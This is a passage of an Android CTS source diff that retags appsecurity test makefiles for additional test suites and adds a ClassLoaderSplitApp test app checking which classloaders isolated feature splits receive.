+ "com.android.cts.permission.policy.PermissionPolicyTest25",
+ "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 589d3b9..f324573 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,8 @@
package android.appsecurity.cts;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceTestCase;
@@ -33,6 +35,7 @@
/**
* Tests for APK signature verification during installation.
*/
+@CddTest(requirement="4/C-0-2")
public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index 1d4e58f..f697a59 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 606b9ce..2e6911d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsAppAccessData
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# although not strictly necessary, sign this app with different cert than CtsAppWithData
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index 1109280..3d11a83 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsAppWithData
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
new file mode 100644
index 0000000..1adf0f8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitApp
+
+# Tag this module as a cts test artifact
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
new file mode 100644
index 0000000..05f4573
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ android:isolatedSplits="true">
+
+ <application android:label="ClassloaderSplitApp"
+ android:classLoader="dalvik.system.PathClassLoader">
+
+ <activity android:name=".BaseActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".BaseReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.classloadersplitapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
new file mode 100644
index 0000000..2683128
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureA
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS += --custom-package com.android.cts.classloadersplitapp.feature_a
+LOCAL_AAPT_FLAGS += --package-id 0x80
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
new file mode 100644
index 0000000..a334acf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ featureSplit="feature_a">
+
+ <application android:classLoader="dalvik.system.DelegateLastClassLoader">
+ <activity android:name=".feature_a.FeatureAActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".feature_a.FeatureAReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
new file mode 100644
index 0000000..ebb2faf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import com.android.cts.classloadersplitapp.BaseActivity;
+
+public class FeatureAActivity extends BaseActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
new file mode 100644
index 0000000..e27a280
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.BaseReceiver;
+
+public class FeatureAReceiver extends BaseReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("featureA_loaderClassName", loader.getClass().getName());
+ b.putString("featureA_parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
new file mode 100644
index 0000000..a1b43ea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureB
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp CtsClassloaderSplitAppFeatureA
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS := --custom-package com.android.cts.classloadersplitapp.feature_b
+LOCAL_AAPT_FLAGS += --package-id 0x81
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
new file mode 100644
index 0000000..8d9ac52
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.classloadersplitapp"
+ featureSplit="feature_b">
+
+ <uses-split android:name="feature_a" />
+
+ <application>
+ <activity android:name=".feature_b.FeatureBActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".feature_b.FeatureBReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
new file mode 100644
index 0000000..fc46307
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="feature_b_string">Feature B String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
new file mode 100644
index 0000000..421ce55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="feature_b_string">Feature B String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
new file mode 100644
index 0000000..86f5015
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAActivity;
+
+public class FeatureBActivity extends FeatureAActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
new file mode 100644
index 0000000..0a7287d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAReceiver;
+
+public class FeatureBReceiver extends FeatureAReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("featureB_loaderClassName", loader.getClass().getName());
+ b.putString("featureB_parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
new file mode 100644
index 0000000..b727d12
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import android.app.Activity;
+
+public class BaseActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
new file mode 100644
index 0000000..51d883a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BaseReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Bundle b = getResultExtras(true);
+
+ // Figure out the classloader that loaded this class and also
+ // its parent loader.
+ final ClassLoader loader = getClass().getClassLoader();
+ final ClassLoader parent = loader.getParent();
+
+ b.putString("loaderClassName", loader.getClass().getName());
+ b.putString("parentClassName", parent.getClass().getName());
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
new file mode 100644
index 0000000..54482a8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.junit.Assert.*;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.Locale;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
+ /* The feature hierarchy looks like this:
+
+ APK_BASE (PathClassLoader)
+ ^
+ |
+ APK_FEATURE_A (DelegateLastClassLoader)
+ ^
+ |
+ APK_FEATURE_B (PathClassLoader)
+
+ */
+
+ private static final String PACKAGE = "com.android.cts.classloadersplitapp";
+ private static final ComponentName FEATURE_A_ACTIVITY =
+ ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
+ private static final ComponentName FEATURE_B_ACTIVITY =
+ ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
+
+ @Rule
+ public ActivityTestRule<BaseActivity> mBaseActivityRule =
+ new ActivityTestRule<>(BaseActivity.class);
+
+ // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+ // so we use #launchActivity() with the correct Intent.
+ @Rule
+ public ActivityTestRule<Activity> mFeatureActivityRule =
+ new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+ false /*launchActivity*/);
+
+ @Rule
+ public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
+
+ @Test
+ public void testBaseClassLoader() throws Exception {
+ final Context context = mBaseActivityRule.getActivity();
+ assertEquals("dalvik.system.PathClassLoader",
+ context.getClassLoader().getClass().getName());
+ }
+
+ @Test
+ public void testFeatureAClassLoader() throws Exception {
+ final Context context = mFeatureActivityRule.launchActivity(
+ new Intent().setComponent(FEATURE_A_ACTIVITY));
+
+ // Feature A requests a DelegateLastClassLoader, so make sure
+ // it is given one.
+ final ClassLoader cl = context.getClassLoader();
+ assertEquals("dalvik.system.DelegateLastClassLoader", cl.getClass().getName());
+
+ // Also assert that its parent (the base) is a PathClassLoader.
+ assertEquals("dalvik.system.PathClassLoader", cl.getParent().getClass().getName());
+ }
+
+ @Test
+ public void testFeatureBClassLoader() throws Exception {
+ // Feature B depends on A, so we expect both to be available.
+ final Context context = mFeatureActivityRule.launchActivity(
+ new Intent().setComponent(FEATURE_B_ACTIVITY));
+
+ // Feature B requests a PathClassLoader but it depends on feature A, which
+ // requests a DelegateLastClassLoader.
+ final ClassLoader cl = context.getClassLoader();
+ assertEquals("dalvik.system.PathClassLoader", cl.getClass().getName());
+ assertEquals("dalvik.system.DelegateLastClassLoader", cl.getParent().getClass().getName());
+ }
+
+ @Test
+ public void testAllReceivers() throws Exception {
+ final Context context = mAppContextTestRule.getContext();
+ final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+ final Bundle results = receiver.get();
+
+ // Base.
+ assertThat(results.getString("loaderClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+
+ // Feature A.
+ assertThat(results.getString("featureA_loaderClassName"),
+ equalTo("dalvik.system.DelegateLastClassLoader"));
+ assertThat(results.getString("featureA_parentClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+
+ // Feature B.
+ assertThat(results.getString("featureB_loaderClassName"),
+ equalTo("dalvik.system.PathClassLoader"));
+ assertThat(results.getString("featureB_parentClassName"),
+ equalTo("dalvik.system.DelegateLastClassLoader"));
+ }
+
+ private static class ExtrasResultReceiver extends BroadcastReceiver {
+ private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mResult.complete(getResultExtras(true));
+ }
+
+ public Bundle get() throws Exception {
+ return mResult.get(5000, TimeUnit.SECONDS);
+ }
+ }
+
+ private static ExtrasResultReceiver sendOrderedBroadcast(Context context) {
+ final ExtrasResultReceiver resultReceiver = new ExtrasResultReceiver();
+ context.sendOrderedBroadcast(new Intent(PACKAGE + ".ACTION").setPackage(PACKAGE), null,
+ resultReceiver, null, 0, null, null);
+ return resultReceiver;
+ }
+
+ private static class AppContextTestRule implements TestRule {
+ private Context mContext;
+
+ @Override
+ public Statement apply(final Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ base.evaluate();
+ }
+ };
+ }
+
+ public Context getContext() {
+ return mContext;
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
index b98ba68..dbf5284 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
@@ -22,7 +22,7 @@
LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ec89ce9..0a55834 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDocumentClient
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
